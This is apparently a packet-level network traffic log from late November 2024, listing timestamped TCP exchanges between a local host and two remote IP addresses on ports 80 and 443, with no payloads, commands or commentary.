Nov 24, 2024 04:20:48.794414043 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.795152903 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.795208931 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.795222044 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.795265913 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.795933008 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.795991898 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.796056986 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.796137094 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.796798944 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.796855927 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.796897888 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.796951056 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.797604084 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.797669888 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.797709942 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.797755957 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.798424959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.798435926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.798482895 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.798482895 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.799211025 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.799297094 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.799326897 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.799427032 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.800024033 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.800079107 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.800169945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.800307989 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.800838947 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.800900936 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.800950050 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.801157951 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.801706076 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.801760912 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.801827908 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.801888943 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.802491903 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.802550077 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.802567005 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.802617073 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.803308964 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.803374052 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.803407907 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.803458929 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.804150105 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.804253101 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.804282904 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.804316044 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.804944992 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.805011988 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.805047035 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.805408955 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.805783987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.805850029 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.805855989 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.805902004 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.882204056 CET	443	49896	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.882939100 CET	49896	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.882966995 CET	443	49896	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.884016037 CET	49896	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.884027004 CET	443	49896	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.974117041 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.974183083 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.974205017 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.974260092 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.974446058 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.974606991 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.974637985 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.974689960 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.974699974 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.974744081 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.975465059 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.975558996 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.975614071 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.975670099 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.976281881 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.976332903 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.976385117 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.976428986 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.977098942 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.977133036 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.977147102 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.977173090 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.978099108 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.978146076 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.978163004 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.978202105 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.978770018 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.978785038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.978827000 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.979558945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.979614019 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.979649067 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.979739904 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.980365038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.980420113 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.980463028 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.980526924 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.981223106 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.981235981 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.981286049 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.982037067 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.982100964 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.982135057 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.982192993 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.982842922 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.982894897 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.982971907 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.983084917 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.983649015 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.983699083 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.983752012 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.983812094 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.984472036 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.984544039 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.984565973 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.984642982 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.985307932 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.985357046 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.985411882 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.985459089 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.986116886 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.986167908 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.986182928 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.986289978 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.986952066 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.986963987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.987013102 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.987777948 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.987792015 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.987833023 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.988603115 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.988687038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.988692045 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.988727093 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.989388943 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.989456892 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.989466906 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.989645004 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.990202904 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.990318060 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.990374088 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.991019964 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.991085052 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.991111994 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.991162062 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.991859913 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.991908073 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.991942883 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.991986990 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.992645979 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.992753029 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.992765903 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.992796898 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.993468046 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.993591070 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.993618965 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.993639946 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.994301081 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.994369030 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.994398117 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.994450092 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.995135069 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.995188951 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.995220900 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.995277882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.995928049 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.995980024 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.996026993 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.996078014 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.996768951 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.996822119 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.996855974 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.996901989 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.997570038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.997622013 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.997626066 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.997678995 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.998392105 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.998450041 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.998486996 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.998574018 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.999217987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.999310970 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.999325991 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.999412060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.000015974 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.000066042 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.000133038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.000209093 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.000843048 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.000895977 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.000941038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.000982046 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.001674891 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.001718044 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.001759052 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.001806974 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.002495050 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.002558947 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.002592087 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.002651930 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.003302097 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.003390074 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.003406048 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.003433943 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.004144907 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.004195929 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.004229069 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.004275084 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.004936934 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.004976988 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.004997969 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.005019903 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.005772114 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.005822897 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.005855083 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.005898952 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.006562948 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.006619930 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.006716013 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.006776094 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.007392883 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.007456064 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.007489920 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.007545948 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.008222103 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.008281946 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.008326054 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.008410931 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.009031057 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.009058952 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.009107113 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.009855986 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.009911060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.009946108 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.009999037 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.010638952 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.010689974 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.010695934 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.010740995 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.011496067 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.011543989 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.011626005 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.011706114 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.012312889 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.012366056 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.012423992 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.012548923 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.013142109 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.013264894 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.013312101 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.013942003 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.013991117 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.014112949 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.014156103 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.014753103 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.014851093 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.014877081 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.014894962 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.015580893 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.015630007 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.015682936 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.015732050 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.016431093 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.016483068 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.016501904 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.016545057 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.075539112 CET	443	49897	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.076308966 CET	49897	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.076342106 CET	443	49897	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.076756954 CET	49897	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.076770067 CET	443	49897	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.111546993 CET	443	49898	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.112226009 CET	49898	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.112267017 CET	443	49898	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.112662077 CET	49898	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:49.112668991 CET	443	49898	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:49.184618950 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.184698105 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.184743881 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.184783936 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.185019016 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.185058117 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.185070038 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.185122013 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.185678005 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.185734034 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.185769081 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.185880899 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.186465025 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.186518908 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.186651945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.186706066 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.187292099 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.187350988 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.187386036 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.187473059 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.188112974 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.188163042 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.188221931 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.188285112 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.188929081 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.188985109 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.189053059 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.189102888 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.189778090 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.189858913 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.189882994 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.189929008 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.190582991 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.190671921 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.190680027 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.190773010 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.191417933 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.191508055 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.191509008 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.191617966 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.192213058 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.192284107 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.192306995 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.192409039 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.193030119 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.193082094 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.193145990 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.193197012 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.193860054 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.193968058 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.194071054 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.194675922 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.194725037 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.194777966 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.194833994 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.195501089 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.195548058 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.195559025 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.195668936 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:49.196346045 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:49.196443081 CET	49835	80	192.168.2.6	185.215.113.206
